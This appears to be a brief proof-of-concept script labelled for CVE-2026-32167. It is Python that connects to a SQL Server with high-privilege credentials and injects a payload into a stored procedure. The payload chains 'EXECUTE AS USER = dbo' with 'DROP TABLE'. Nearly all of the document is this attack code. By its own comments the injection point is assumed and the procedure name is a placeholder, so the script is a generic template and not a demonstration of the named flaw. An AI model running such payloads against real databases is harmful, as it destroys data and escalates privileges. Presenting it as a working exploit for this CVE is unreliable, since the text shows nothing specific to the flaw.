CVE-2026-32167

# Proof of Concept for CVE-2026-32167 # Note: This requires high privileges (PR:H) and local access (AV:L). import pyodbc # Connect to the target SQL Server instance server = 'TARGET_SERVER' database = 'master' username = 'high_priv_user' password = 'password' driver = '{ODBC Driver 17 for SQL Server}' cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={username};PWD={password}') cursor = cnxn.cursor() # Vulnerable SQL command injection payload # Assuming a vulnerable stored procedure or dynamic SQL execution point payload = "'; EXECUTE AS USER = 'dbo'; DROP TABLE test_table; --" try: # Simulating the injection point vulnerable_query = f"EXEC sp_vulnerable_procedure '{payload}'" cursor.execute(vulnerable_query) cnxn.commit() print("Payload executed successfully. Privilege escalation may have occurred.") except Exception as e: print(f"Error: {e}") finally: cnxn.close()
